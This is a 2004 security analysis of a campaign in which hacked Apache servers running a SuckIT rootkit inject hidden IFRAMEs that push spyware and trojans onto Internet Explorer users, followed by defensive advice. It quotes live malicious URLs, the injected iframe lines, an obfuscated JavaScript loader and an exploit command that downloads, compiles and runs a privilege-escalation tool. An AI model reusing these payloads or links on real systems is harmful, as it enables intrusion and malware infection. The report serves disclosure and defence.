

Xpire/Splitinfinity.info Server Hack and Malware injection using IFRAMES Vulnerability – Condensed Version

Report written by Christopher Boyd

paperghost@vitalsecurity.org

www.vitalsecurity.org

Document created 21/11/2004

Last Updated / Revised 25/11/2004:

Analysis of X.full-tgp.net added.

All content produced by the author unless otherwise stated, technical information and details relating to specific server hacks contributed by Elia Florio, Malware install procedure contributed by Eric L Howes, Analysis of Xpire.info / X.full-tgp.net installs contributed by Lawrence Abrams

CONTENTS:

Pages 3,4 – Introduction

Page 5 – The server hack background

Pages 6,7,8 – The server hack in action

Page 9,10 – What the server hack is exploiting

Page 11 – The Malware installation process

Page 12,13,14,15 – An analysis of the Xpire.info infection

Page 16,17,18 – An analysis of the X.full-tgp.net infection

Page 19 – Avoiding an install – End-Users

Page 20 – Avoiding an install – Server Admins

Page 21,22 – References

WARNING: Some of the links contained in this document could lead to **severe Malware, Trojan and Virus infections**. Please do **NOT** click any of the links accidentally as you may become infected if you are not running the latest AV signature files and Malware protection tools. **The author cannot take any responsibility for any harm done to individual PC's and / or networks if you click any of the links contained within.** The links are presented in their entirety so that Server Admins can look out for malicious redirects and end users can add them to their blacklists.

INTRODUCTION:

A number of web servers are falling victim to a server hijack where a variant of the Suckit rootkit is being used to dynamically inject code into the pages served from the compromised machines. Using the Internet Explorer IFrames vulnerability, the code serves as a gateway to a number of different pages at the following domains:

sp2fucked.biz
splitinfinity.info
xpire.info

This is a similar technique to Download_Ject (which affected Microsoft Windows 5.0 servers), only this time it works on Apache rather than Windows.

Several other domains are used in that installation/exploit process, including:

69.50.168.147
195.178.160.30
213.159.117.133
b00gle.info
coolsearch.biz
newiframe.biz
pizdato.biz

In addition, there are other pages related to the main three domains where further items of note can be found, including what appears to be an online test zone where the hackers can try out their code injections: [htt://xpire.info/s/](http://xpire.info/s/), and [htt://xpire.info/s/](http://xpire.info/s/)

The malware installed varies - possibly depending on which page you enter the chain from. Sometimes the exploit pages listed drop porn dialers onto victims' PCs; other times a whole host of spyware and adware packages are installed. The packages found to be installed so far include:

180solutions
BlazeFind
BookedSpace
BullsEye Networks
CashBack (Bargain Buddy)
ClickSpring
CoolWebSearch
DyFuca
Hoost
IBIS Toolbar
Internet Optimizer
ISTbar
Power Scan
SideFind
TIB Browser
WebRebates (TopMoxie)

WhenU (VVSN)
Window AdControl
WindUpdates
YourSiteBar

The Malware bundle infected on the victim's machine seems to be a front for a large collection of DoS boxes, capable of knocking out important web-based services though at this stage it is impossible to tell where they will be pointed. Maybe the implied threat of such an attack would be far more unsettling to those service providers than an actual attempt to use the infected victim's PC's.

So the attack is twofold – the victim's PC's / compromised servers, and anyone that the hackers causing these attacks feels has an interest against them. Its also two fold in the sense that the hackers are using Linux servers to take out Microsoft-based PC's.

THE SERVER HACK: BACKGROUND

1) xpire.info and splitinfinity.info are the same domain, used to host a single page which contains links to 10-15 new exploits for IE using Java/Javascript/ActiveX.

The single page of xpire.info contains a lot of IFRAME redirects pointing out to free-host sites around the world; every one usually containing a different exploit.

It's a modular hacking technique - when someone releases a new IE exploit, you only have to add the link to the exploit on the xpire.info site.

In addition, <http://www.splitinfinity.info/fa/?d=get> still manages to open up multiple windows in Firefox, and although no exploits will work in FF at present, it does raise the possibility that in the future they could craft browser specific exploits for packages other than IE.

2) The hacker's servers have Apache <= 1.3.31 with PHP installed, using a modified Apache exploit relating to OpenSSL or a PHP-injection method.

3) They then install the "SuckIT" rootkit on compromised servers, in the form of a recompiled variant, which means standard rootkit detectors aren't picking it up. This tool lets the hackers control the compromised server and add (randomly) a simple javascript line to every HTTP-header outgoing from the server on port 80 (this then lets them infect victim's PC's when they are surfing on compromised hosts).

THE SERVER HACK IN ACTION

1) The hackers choose a public web server XXX to hack, preferably where many users come everyday.

2) The server is then hacked using various exploits. All hacked servers from xpire.info so far are running Apache <1.3.31 with PHP and are Linux based machines.

There is however a special PHP page used to inject a system command on remote machines:

```
//xpire.info/s/
```

and

```
//xpire.info/s/2
```

After the break-in the hacker issues a WGET command to download the rootkit – from evidence gathered enumerating the site itself and also some information gathered from Apache logs, they download a file

```
"cli.gz",
```

which is an ELF executable for Linux called "bindtty" - a remote control tool connect back shell. Below is the link for this particular tool:

<http://www.xpire.info/cli.gz>

3) at this stage, the hackers control the server, installing the SuckIT rootkit on the compromised machine to have full-control. This rootkit used is a recompiled/patched version, so standard cleaners such as "rkhunter" or "chkrootkit" are not able to detect and / or remove it.

A code based on the SuckIT source code (but without the malware part) explores /dev/kmem and explores sys_call_table[]; known as SKDetect, it finds and removes this variant of SuckIT.

<http://tsd.student.utwente.nl/skdetect/>

In addition, sometimes a reboot can remove "SuckIT" because it's not installed to run at boot time.

4) SuckIT works in kernel mode and can intercept system calls. When Apache sends out any HTTP packet over port 80 to the browser of any web-users, this packet is intercepted and patched on-the-fly by the rootkit, and the final packet contains a single Javascript line with an IFRAME link pointing to "splitinfinity.info".

This line is encrypted with Javascript code functions, and hijacks the users machine with the rogue sites previously mentioned.

So, the malicious code isn't embedded in the page itself, but rather it's injected during socket connection over port 80 and this is what's injected:

```
iframe src='http://www.splitinfinity.info/fa/?d=get' height=1 width=1></iframe
```

The line, encrypted with Javascript functions, points to a page with a lot of other links to Malware/Backdoor script pages on other servers, many of which are freehost domains. The below is an example from one of Elia Florios' logs, roughly one month ago:

```
#IFRAME SRC="http://www.sp2fucked.biz/user28/counter.htm"; WIDTH=0 BORDER=0 HEIGHT=0></IFRAME#
#iframe src="http://xpire.info/fa/t3.htm"; width=1 height=1></iframe#
#iframe src="http://xpire.info/fa/x.htm"; width=1 height=1></iframe#
#iframe src="http://xpire.info/fa/proc.htm"; width=1 height=1></iframe#
#iframe src="http://xpire.info/fa/runevil.htm"; width=1 height=1></iframe#
#iframe src="http://213.159.117.133/dl/adv121.php"; width=1 height=1></iframe#
!-- #IFRAME SRC="http://x.full-tgp.net/?fox.com"; WIDTH=1 HEIGHT=1></IFRAME#
/-->
```

Compare with the source code from the Splitinfinity.info site which I discovered on 17th November 2004:

```
html>
<head></head>
<body>
<iframe src="http://xpire.info/fa/xpl1.htm" width=1 height=1></iframe>
<iframe src="http://xpire.info/fa/xpl3.htm" width=1 height=1></iframe>
<IFRAME SRC="http://www.sp2fucked.biz/user28/counter.htm" WIDTH=0 BORDER=0 HEIGHT=0></IFRAME>
<iframe src="http://xpire.info/fa/t3.htm" width=1 height=1></iframe>
<iframe src="http://xpire.info/fa/x.htm" width=1 height=1></iframe>
<iframe src="http://xpire.info/fa/runevil.htm" width=1 height=1></iframe>
<iframe src="http://213.159.117.133/dl/adv121.php" width=1 height=1></iframe>

<img src='http://counter.sexmaniack.com/counted.php?ref=' width=1 height=1>
```

5) Finally, the Malware/Virus/Script/Trojan files are downloaded onto the victim's PC – as stated previously, the bundles vary and a lot of the rogue files seem to have been altered, updated and tampered with to make AV detection more difficult. Analysis of the files reveals that most (if not all) useful information that could be gleaned from decompiling the files has been stripped out or obfuscated, possibly through use of Burneye.

The compromised servers are simply the tool used to get as many virus variants onto victim's PC's – in this way, the Windows boxes can then be used for chained DoS attacks and Spam serving. The hackers can, of course, tailor this to their own needs, and when a new exploit comes out, they need only need add a line to the Splitinfinity.info page with a link to the new exploit.

WHAT THE SERVER HACK IS EXPLOITING

Initial exploring by Elia Florio led us to believe that the method of getting into the Apache servers might be something to do with OpenSSL vulnerabilities. And when explored further (through examining a previously hacked server) Elia discovered the following:

In the server's HTTPD logs, a lot of the following errors came to light:

```
[Sun Oct 31 15:28:14 2004] [error] OpenSSL: error:1406B458:SSL
routines:GET_CLIENT_MASTER_KEY:key arg too long[Sun Oct 31 15:28:15 2004]
[error] mod_ssl: SSL handshake failed (server 99.99.999.999:443, client 888.88.88.888)
(OpenSSL library error follows)
```

This is a known OpenSSL $\leq 0.9.6$ exploit. Further exploration of what causes this message to appear in Apache logs leads to the following two links:

<http://users.757.org/~joat/blog/archives/000169.html>

<http://secwatch.org/exploits/2003/04/OpenFuckV2.c>

It's a powerful combination of 2 exploits: the first (mod_ssl of apache) is a well known heap-overflow; the source code includes the information needed to make most Linux distributions and Unix systems vulnerable. The below is a list of all systems potentially at risk:

Caldera (Apache 1.3.26)

Cobalt Sun 6.0 (Apache 1.3.12 - 1.3.20)

Connectiva 4, 4.1, 6, 7, 8 (Apache 1.3.6, 1.3.9, 1.3.12, 1.3.14, 1.3.26)

Debian GNU (Apache 1.3.12 - 1.3.20)

FreeBSD

Mandrake 7.1, 7.2, 8.0, 8.1, 8.2, 9

RedHat 5.0 upto 8.0

Slackware 7.0 upto 8.1

When the hacker breaks in via mod_ssl/Apache, he has no security privileges, but the exploit then uses a second script, to gain root privilege. Once this is done, the hackers effectively own the server in question.

The second exploit is the PTRACE local bug.

In the source code there is the following line:

```
#define COMMAND2 "unset HISTFILE; cd /tmp; wget http://packetstormsecurity.nl/0304-
exploits/ptrace-kmod.c; gcc -o p ptrace-kmod.c; rm ptrace-kmod.c; ./p; \n"
```

So in essence, the hacker downloads the ptrace exploit source code, compiles it, and then deletes the source.

The OpenSSL bug is located in "mod_ssl" related to OpenSSL $\leq 0.9.6$, so every Apache server that is using this module, is vulnerable... unfortunately most Linux distributions are using Apache with this module!

It's a known bug...but many admins do not update this bugged module (if you upgrade to a new version of Apache which is using the bugged mod_ssl you're still vulnerable).

THE MALWARE INSTALLATION PROCESS

As you have seen, the packages that are installed vary, and so many items are installed at once that it is difficult to neatly summarise exactly what is happening on the end-user's system. I present below an example of an install on a test machine, reproduced with permission of Eric L Howes:

1. Exploit.exe

There is a cluster of web pages that download and install multiple adware/spyware programs using a stub downloader/installer named Exploit.exe:

<http://www.sp2fucked.biz/user61/counter.htm>

<http://www.sp2fucked.biz/user63/counter.htm>

<http://xpire.info/fa/?d=get>

All three of the above pages start an installation process that eventually downloads and runs exploit.exe:

<http://www.sp2fucked.biz/user28/exploit.exe>

<http://www.sp2fucked.biz/user61/exploit.exe>

<http://www.sp2fucked.biz/user63/exploit.exe>

Exploit.exe downloads and installs a variety of other programs, though what it downloads can vary. Sometimes it delivers dialers, other times it delivers a group of spyware/adware programs, including WhenU (VVSN).

There is at least one web page known to call one of the above pages and kick off the installation process:

<http://users4.cgiforme.com/comicland/messages/1314.html>

At no time is the user presented with a EULA, privacy policy or other form of notice and choice. The software, including WhenU is simply installed without warning.

The WhenU installer involved in this installation process (WhenU.exe) is digitally signed on Oct. 13, 2004.

IN DEPTH STUDY OF AN INSTALL

Xpire.info Site Analysis

www.bleepingcomputer.com

Introduction

It has been found that web servers are being hacked in such a way that when a web page is served from it, it randomly injects malicious code into the legitimate pages so they install malware on your computer. One url that is seen to be injected into these PHP pages is **<http://xpire.info/fa/?d=get>** . When a user loads that page it launches a myriad of IFRAMES, each with their own attempt at infecting a computer running Internet Explorer. Most of the infections are stealth installed using a mixture of the [ByteVerify Exploit](#), [MS-ITS](#), and [IFRAME Buffer Overflow Vulnerability](#). Unfortunately at this time there is no patch available for the IFRAME vulnerability for Internet Explorer users not using Service Pack 2. When an Internet Explorer user opens one of these pages they will be barraged with attempted installs of malware.

<http://xpire.info/fa/?d=get>

This is a page that is being see injected into legitimate pages. The source of this page shows the relevant code:

```
<iframe src="http://xpire.info/fa/xpl1.htm" width=1
height=1></iframe>
<iframe src="http://xpire.info/fa/xpl3.htm" width=1
height=1></iframe>
<iframe src="http://xpire.info/fa/t3.htm" width=1 height=1></iframe>
<iframe src="http://xpire.info/fa/x.htm" width=1 height=1></iframe>
<iframe src="http://xpire.info/fa/runevil.htm" width=1
height=1></iframe>
<iframe src="http://213.159.117.133/dl/adv121.php" width=1
height=1></iframe>
<img src='http://counter.sexmaniack.com/counted.php?ref=' width=1
height=1>
```

The iframe statements will launch those pages in other frames which will than attempt to infect you using the exploit from that page.

Many of the pages have an <img src tag using the following url:

<http://counter.sexmaniack.com/counted.php>

This is a counter. An example can be found in the list above.

<http://xpire.info/fa/xpl1.htm>

This url loads http://xpire.info/fa/ied_s7m.chm::ied_s7m.htm. The [ied_s7m.htm](http://xpire.info/fa/ied_s7m.htm) file when extracted contains instructions to download and execute <http://xpire.info/packld.cab>. This file contains an executable called [ied.exe](#). When [ied.exe](#) is executed it downloads [xpire.info/install.gz](#) which is renamed to a random DLL name that is loaded via the ShellServiceObjectDelayLoad registry key. This file is classified as SpyGal which is a downloader and a proxy software. It also adds a favorite to the url <http://b00gle.info/casino/?d=b>.

<http://xpire.info/fa/xpl3.htm>

This url attempts to load the file <http://xpire.info/itscool.exe>. When [itscool.exe](#) is executed it downloads [install.gz](#) as above as well as [spygalaxy.ws/hosts.htm](#) and creates a file in your %temp% directory called [rsysinit.exe](#).

[hosts.htm](#) which is classified as Trojan.Downloader.Hoster.A
[rsysinit.exe](#) is classified as Trojan.Win32.ExitWin.y by Kaspersky

<http://xpire.info/fa/t3.htm>

Contains iframes that lead from page to page that eventually downloads and installs a program called [aga.exe](#) and saves it as [C:\\Program Files\\Windows Media Player\\wmplayer.exe](#). Looks like IFRAME exploit is being used here, though not confirmed.

[Aga.exe](#) has the same exact functionality of [itscool.exe](#) above.

<http://xpire.info/fa/x.htm>

This url loads <http://xpire.info/fa/x.chm::x.htm>. The [x.chm](#) file contains a exe called [load.exe](#) and a html file called [x.htm](#). When [x.html](#) is opened it launches [load.exe](#). [Load.exe](#) is classified as W32/DLoader.DL and has the same functionality as [itscool.exe](#) and [aga.exe](#) above.

<http://xpire.info/fa/runevil.htm>

Loads an animated gif from <http://xpire.info/fa/1.gif> which is a link to <http://xpire.info/i.exe>. This file when ran did absolutely nothing other than delete itself. No network access and nothing changed on the system. It is classified in Jotti as a Trojan.Spygal.b as well.

<http://213.159.117.133/dl/adv121.php>

The iframe and java applet are the man payload for this distribution site:

The java applet downloads <http://213.159.117.133/dl/loadadv121.exe> and saves it as loadnew.exe. It then visits <http://213.159.117.133/dl/cheatadv121.php>. The loadadv121.exe loads many of the components found at the other links discussed in this document as well as other malware.

The iframe extracts from <http://213.159.117.133/dl/adv121/x.chm::/x.htm> the file x.htm and load.exe. When x.htm is loaded it will execute load.exe. Load exe will then start installing numerous programs on your computer.

Below is a list of some of the programs that the iframe and java applet installs and is what we see load in Ben Edelman's video.

cashback (bargain buddy)
Wintools
WebSearch
<http://213.159.117.134/index.php> start page hijacker
VVVN
Navisearch
BullsEye Network
Internet Optimizer
XXXToolbar DPF
Media Ticket DPF
TopConverting DPF
\\temp\sp.html CWS
WindUpdates
Corscorr
Trusted Zone: *.blazefind.com
Trusted Zone: *.clickspring.net
Trusted Zone: *.crazywinnings.com
Trusted Zone: *.flingstone.com
Trusted Zone: *.mt-download.com
Trusted Zone: *.my-Internet.info
Trusted Zone: *.searchbarcash.com
Trusted Zone: *.searchmiracle.com
Trusted Zone: *.skoobidoo.com
Trusted Zone: *.slotch.com
Trusted Zone: *.topconverting.com
Trusted Zone: *.windupdates.com
Trusted Zone: *.xxxtoolbar.com

The following is a very small sample of sniffed traffic from when this file executed:

Dialer

GET /dkprogs/dktibs.php HTTP/1.1
Host: 213.159.117.133

Systime.exe - Hijacks your browser to http://213.159.117.134/index.php

GET /dkprogs/systime.txt HTTP/1.1

Host: 213.159.117.133

Media-Tickets

GET /tb/sb.html HTTP/1.1

Host: 213.159.117.133

WindUpdates

GET /tb/sb.html HTTP/1.1

Host: 213.159.117.133

XXXToolbar

GET /tb/all.html HTTP/1.1

Host: 213.159.117.133

VVSN

GET /

AppInstall?app=VVSN&url=ISTS1043&id=ECC5C71F8786488288A00C12D36A13AC&ui=DA HTTP/1.1

Host: app.whenu.com

BargainBuddy

GET /download/bargain_buddy/cfg/ADP/441.cfg HTTP/1.1

Host: download2.us4.outblaze.com

Keywords that 180solutions will to hijack searches

GET /keywords/kyf.352/kyf.352.1.gz HTTP/1.1

Host: downloads.180solutions.com

Command file to download websearch, wintools, toolbar

POST /as2config.asmx/GetXML HTTP/1.1

Host: download.websearch.com

All in all it downloads and installs these identifiable programs with quite a few other applications that were not as easily identified. This amounts to a large payload of malware installed onto your computer.

If you have any comments or questions you can contact me at

<http://www.bleepingcomputer.com/contactus.php>

Lawrence Abrams

X.full-tgp.net Site Analysis

www.bleepingcomputer.com

Introduction

Before reading further you may want to read the [analysis of Xpire.info](#) which covers why we are analyzing this site. It has been shown with research that this site, x.full-tgp.net, is using the same distribution methods as xpire.info. This page uses a few more methods to hide its track that we will discuss as we get to them. The url for the main distribution page on this site is:

<http://x.full-tgp.net/?ms.com>

This page, like xpire.info/fa/?d=get, uses iframes to launch other pages that attempt to infect your machine.

<http://x.full-tgp.net/?ms.com>

When you visit the above link the page will load 3 IFRAMES, one obfuscated javascript, and a Downloaded Program File (XXXToolbar) in order to infect your computer with various malware.

```
script language=javascript>eval(String.fromCharCode
(100,111,99,117,109,101,110,116,46,119,114,105,116,
101,40,34,60,105,102,114,97,109,101,32,98,111,114,100,101,114,61,48,32,119,105,1
00,116,104,61,48,32,
104,101,105,103,104,116,61,48,32,115,116,121,108,101,61,39,100,105,115,112,108,9
7,121,58,110,111,110,
101,39,32,115,114,99,61,39,104,116,116,112,58,47,47,49,57,53,46,50,50,53,46,49,55,
55,46,49,51,47,53,55,
57,47,39,62,60,47,105,102,114,97,109,101,62,34,41))</script>

<iframe src="http://www.vesbiz.biz/d/1.htm" width=1 height=1></iframe>
< IFRAME SRC="http://www.sp2fucked.biz/user10/counter.htm" WIDTH=0
BORDER=0 HEIGHT=0></IFRAME>
< IFRAME SRC="http://fresh-teens.net/c4t.html" WIDTH=0 BORDER=0
HEIGHT=0></IFRAME>
< script language="JavaScript" type="text/JavaScript" src=
"
http://install.xxxtoolbar.com/ist/scripts/prompt.php?event_type=onload&recurrence=al
ways&retry=2&loadfirst=0&account_id=
125893&adid=a1061219198"></script>
```

<http://x.full-tgp.net/?ms.com>

I will cover each of the above lines in their own section starting with the obfuscated javascript.

script language=javascript>eval(String.from....

The javascript with the strange numbers is the exploiter attempting to obfuscate, hide, what their code is doing. Each of those numbers is actually the decimal equivalent of an ascii code. By converting those decimal numbers to ascii the code becomes:

[http://www.sp2fucked.biz/user10/counter.htm:](http://www.sp2fucked.biz/user10/counter.htm)

This is a dead url.

[http://fresh-teens.net/c4t.html:](http://fresh-teens.net/c4t.html)

Loading this page installs the malware searchmiracle and elite toolbar.

[src=" http://install.xxxtoolbar.com/ist/scripts/prompt.ph...](src=)

This will install the XXX Toolbar. A common spyware app installed by many malware bundles.

If you have any comments or questions you can contact me at
<http://www.bleepingcomputer.com/contactus.php>

Lawrence Abrams

AVOIDING AN INSTALL – Microsoft Windows End-Users

- 1) SP2 should be downloaded immediately on machines running Windows XP – although the websites will still attempt to install onto your machine, you will, at most, get three or four Virus strains / Trojans, rather than the full bundle.
- 2) Users surfing with Firefox and alternative browsers will not be affected by the IFRAMES vulnerability and full download, though there are newer pages that attempt to open popup windows using these browsers – these are mainly forum pages where a “quick response” field contains the text left by the previous poster. **DO NOT OPEN THESE POPUPS.** There is evidence to suggest cross browser scripting attacks.
- 3) IE-Spyad will block the domains listed, and is regularly updated, though of course there will always be a threat from new or undiscovered domains:
<https://netfiles.uiuc.edu/ehowes/www/resource.htm>
- 4) Disabling or restricting Active X permissions in IE will help to avoid some of the install procedures.
- 5) Running an Antivirus product that provides a resident shield will help to catch any infections such as VBScripts that slip through the net – many of the infections appear to have been recompiled to make AV detection much harder.
- 6) If surfing to sites that you are unfamiliar with (especially forums), a good way to tell if the site is infected is to pull up a google search for a particular forum and if the result returned looks like the following:

Quote:

```
... href="//some.random.address"> > </a> > > <IFRAME  
SRC="http://www.sp2fucked.biz/user63 ...  
forum.address.goes.here.html - 8k - Cached - Similar pages
```

Then it is an infected page. The IFRAME line is the dead giveaway. Give it a VERY wide berth, regardless of browser.

AVOIDING AN INSTALL – Apache Admins

1) The exploit used to gain entry is centred around a buggy module in OpenSSL <=0.9.6.

Caldera (Apache 1.3.26)

Cobalt Sun 6.0 (Apache 1.3.12 - 1.3.20)

Connectiva 4, 4.1, 6, 7, 8 (Apache 1.3.6, 1.3.9, 1.3.12, 1.3.14, 1.3.26)

Debian GNU (Apache 1.3.12 - 1.3.20)

FreeBSD

Mandrake 7.1, 7.2, 8.0, 8.1, 8.2, 9

RedHat 5.0 upto 8.0

Slackware 7.0 up to 8.1

These are the versions known so far to be affected by this exploit. It is ESSENTIAL that all patches related to OpenSSL and, more importantly, ModSSL, are applied immediately. It should be noted that ModSSL and OpenSSL are not the same thing – though related, ModSSL is an “alternative” to “standard” OpenSSL, and ModSSL is where the bug lies. See the below for more information:

<http://www.eracom-tech.com/resources/openssl.htm>

http://www.apache-ssl.org/#mod_ssl

2) Standard Rootkit detection tools will not pick up this new variant of the SuckIT Rootkit. SKDetect is a piece of code based on the SuckIT code, only without the Malware. It finds and removes this variant of SuckIT.

<http://tsd.student.utwente.nl/skdetect/>

In addition, sometimes a reboot can remove "Suckit" because it's not installed to run at boot time – though this should only be tried as a last resort due to the obvious downtime issues this will bring.

3) [Bleedingsnort.com](http://bleedingsnort.com) is currently compiling a list of Signatures relating to this type of infection. Admins should download Snort (an Intrusion Detection Toll) if they have not already done so and visit [Bleedingsnort.com](http://bleedingsnort.com) for more information. The list is being regularly updated.

REFERENCES:

FullDisclosure: xpire.info & splitinfinity.info - exploits in the wild

From: Elia Florio

Date: Oct 24 2004

<http://seclists.org/lists/fulldisclosure/2004/Oct/0969.html>

xpire.info & splitinfinity.info - exploits in the wild

From: Elia Florio

Date: Oct 24 2004

<http://www.gossamer-threads.com/lists/fulldisc/full-disclosure/27857>

LIST OF MAIN SITE PAGES:

<http://www.splitinfinity.info/fa/?d=get>

<http://xpire.info/fa/?d=get>

<http://xpire.info/fa/rdir/php>

<http://xpire.info/s/2>

<http://xpire.info/s/>

<http://xpire.info/cli.gz>

<http://xpire.info/fa/runevil.htm%22>

<http://xpire.info/fa/x.htm%22>

<http://xpire.info/fa/t3.htm%22>

<http://xpire.info/fa/proc.htm%22>

<http://xpire.info/fa/proc.htm>

<http://xpire.info/fa/x.htm>

<http://xpire.info/fa/t3.htm>

<http://xpire.info/fa/runevil.htm>

<http://www.xpire.info/>

<http://sp2fucked.biz/>

<http://sp2fucked.biz/user28/counter.htm>

<http://www.sp2fucked.biz/user48/counter.htm>

<http://www.sp2fucked.biz/user61/counter.htm>

<http://www.sp2fucked.biz/user256/counter.htm>

<http://www.sp2fucked.biz/user105/exploit.htm>

<http://www.sp2fucked.biz/register.php?involver=user8>

<http://www.sp2fucked.biz/user121/counter.htm>

<http://www.sp2fucked.biz/user49/counter.htm>

<http://www.sp2fucked.biz/user247/counter.htm>

<http://www.sp2fucked.biz/user246/counter.htm>

<http://www.sp2fucked.biz/user63/counter.htm>

<http://www.sp2fucked.biz/user7/counter.htm>

<http://www.sp2fucked.biz/user147/counter.htm>

<http://www.sp2fucked.biz/user111/counter.htm>

<http://www.sp2fucked.biz/user105/counter.htm>

<http://www.sp2fucked.biz/user202/counter.htm>
<http://www.sp2fucked.biz/user243/counter.htm>
<http://www.sp2fucked.biz/user43/counter.htm>
<http://www.sp2fucked.biz/user81/counter.htm>
<http://www.sp2fucked.biz/user164/counter.htm>
<http://www.sp2fucked.biz/user83/counter.htm>
<http://www.sp2fucked.biz/user105/new/>

<http://69.50.168.147/user28/exploit.htm>
<http://195.178.160.30/js.php?cust=28>
<http://195.178.160.30/ifr.php?cust=89>
<http://213.159.117.133/dl/adv121.php>
<http://69.50.168.147/user28/exploit2.htm>
<http://www.b00gle.info/>
69.50.168.147
195.178.160.30
213.159.117.133
www.coolsearch.biz
www.newiframe.biz
www.pizdato.biz

MISCELLANEOUS PAGES:

<http://artondemand.galleryhousing.com/>
(Claims to have been “hacked” by the “SP2 Gang”).

<http://www.webmasterworld.com/forum40/1037.htm>

(A posting from April 2004 that mentions the Suckit rootkit and possible IFRAMES exploits on a server – a good indication of the timescale involved and also possibly the first known case of this happening).